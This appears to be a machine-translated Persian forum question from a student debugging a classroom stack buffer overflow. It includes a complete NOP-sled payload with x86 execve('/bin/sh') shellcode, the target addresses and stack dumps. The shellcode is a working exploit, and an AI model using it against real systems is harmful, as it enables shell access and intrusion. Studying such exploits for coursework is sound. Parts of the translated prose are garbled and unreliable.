من یک سرریز بافر برای یک کلاس تمرین می کنم و من یک تکه کد دارم که از یک سیستم منبع باز قرض گرفتم. متاسفانه من نمی توانم این کد را فاش کنم.
اطلاعات سیستم من:
nikel $ uname -a
لینوکس اوبونتو 4.15.0-29-عمومی # 31 ~ 16.04.1-اوبونتو SMP جمعه 18 ژوئیه 10:19:08 UTC 2018 i686 i686 i686 گنو / لینوکس
من از gdbgui
برای اشکالزدایی که از طریق pip نصب کردم
استفاده میکنم. این نسخه گرافیکی از gdb
است.
nikel $ gdbgui --version
0.13.0.0
بافر من سرشار است، buf
اعلام شده حاوی 128 بایت و در 0xbfffe928
وجود دارد. مقادیر به صورت زیر با آرایه اضافه می شوند: buf [len++]
، جایی که len
در 0xbfffe9a8
است. آدرس برگشت در 0xbfffe9bc
.
این شل کد است که من تزریق می کنم:
" x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x31 xc0 x50 x68 x2f x2f x73 x68 x68 x2f x62 x69 x6e x89 xe3 x50 x89 xe2 x53 x89 xe1 xb0 x0b xcd x80 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x90 x94 x28 xe9 xff xbf "
در shellcode:
- هدف شلختگی، راه اندازی پوسته سیستم
/ bin / sh
است. من آن را مستقیما از https://dhavalkapil.com/blogs/Shellcode-Injection/ -
x94
کپی کردم که در انتهای آن قرار داده ام، چون آدرسهای حافظه را پر میکنم و به طور مستقیم نوشتن در آدرس بازگشت است که در0xbfffe9bc
. - باز
"
لازم است که وارد عمل تضعیف شده و بسته شدن"
لازم است از این تابع - من فایل را با استفاده از
vim -b
ویرایش کرده ام و آن را به عنوان یک فایل.bin
ذخیره کردم.
این حالت پشته درست قبل از ترک
دستورالعمل:
0xbfffe928: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe930: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe938: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe940: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe948: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe950: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe958: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe960: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe968: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe970: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe978: 0x31 0xc0 0x50 0x68 0x2f 0x2f 0x73 0x68
0xbfffe980: 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x50
0xbfffe988: 0x89 0xe2 0x53 0x89 0xe1 0xb0 0x0b 0xcd
0xbfffe990: 0x80 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe998: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe9a0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe9a8: 0x99 0x00 0x00 0x00 0x22 0x00 0x00 0x00
0xbfffe9b0: 0xf0 0xef 0xff 0xbf 0x70 0xc1 0x05 0x08
0xbfffe9b8: 0xe8 0xe9 0xff 0xbf 0x28 0xe9 0xff 0xbf
این پشته پس از ترک
دستورالعمل:
0xbfffe928: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe930: 0x90 0x90 0x90 0x90 0x00 0x00 0x00 0x00
0xbfffe938: 0x00 0x37 0xdb 0xb7 0x00 0x00 0x00 0x00
0xbfffe940: 0xa0 0xe5 0xe1 0xb7 0x00 0x00 0x00 0x00
0xbfffe948: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe950: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe958: 0xa9 0xf8 0xe1 0xb7 0x00 0x60 0xf6 0xb7
0xbfffe960: 0x00 0x60 0xf6 0xb7 0x00 0x60 0xf6 0xb7
0xbfffe968: 0x8c 0xe9 0xff 0xbf 0xd6 0xfc 0xe1 0xb7
0xbfffe970: 0x01 0x00 0x00 0x00 0x90 0x90 0x90 0x90
0xbfffe978: 0x6b 0x1e 0xe1 0xb7 0x70 0xc1 0x05 0x08
0xbfffe980: 0x00 0x60 0xf6 0xb7 0xc6 0xfc 0xe1 0xb7
0xbfffe988: 0x70 0xc1 0x05 0x08 0xaf 0xe9 0xff 0xbf
0xbfffe990: 0x00 0x00 0x00 0x00 0x90 0x90 0x90 0x90
0xbfffe998: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe9a0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe9a8: 0x99 0x00 0x00 0x00 0x22 0x00 0x00 0xcc
0xbfffe9b0: 0xf0 0xef 0xff 0xbf 0x70 0xc1 0x05 0x08
0xbfffe9b8: 0xe8 0xe9 0xff 0xbf 0x28 0xe9 0xff 0xbf
من نمی فهمم که چرا فضای حافظه buf
خراب شده است. اگر برنامه را اجرا کنم، این خطا را به من می دهد:
برنامه
دریافت سیگنال SIGSEGV، گسل Segmentation.
0xbfffe928 در ؟؟ ()
EIP
دارای مقدار 0xbfffe928
است که صحیح است. gdb
می گوید نمی تواند به آدرس 0xbfffe928 دسترسی پیدا کند